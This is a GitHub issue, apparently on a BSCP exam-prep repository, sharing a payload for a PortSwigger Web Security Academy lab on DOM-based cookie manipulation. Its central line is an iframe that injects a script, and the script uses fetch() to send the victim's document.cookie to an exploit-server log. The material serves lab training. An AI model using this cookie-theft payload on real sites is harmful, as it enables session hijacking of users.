Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DOM-based cookie manipulation last reviewed product...working payload #4

Open
ShehmeerAbidRajput opened this issue Jan 29, 2025 · 0 comments

Comments

@ShehmeerAbidRajput
Copy link

ShehmeerAbidRajput commented Jan 29, 2025

For DOM-based cookie manipulation:

Kindly review the code I've shared. Well, you see due to URL encoding your + was decoded as space, instead we want concatenation.
Instead of using document.location i used fetch, as for BSCP I've found it much versatile.

<iframe src="https://0a1000f8032e0dfc80f7812a00220050.web-security-academy.net/product?productId=1&'><script>fetch('https://exploit-0afc009103680dcf8008806201bf0010.exploit-server.net/log?c='%2bdocument.cookie)</script>" onload="if(!window.x)this.src='https://0a1000f8032e0dfc80f7812a00220050.web-security-academy.net';window.x=1;"></iframe>

Image

Excited to hear from you BotesJuan!

@ShehmeerAbidRajput ShehmeerAbidRajput changed the title DOM-based cookie manipulation last reviewed product...working paylaod DOM-based cookie manipulation last reviewed product...working payload Jan 29, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant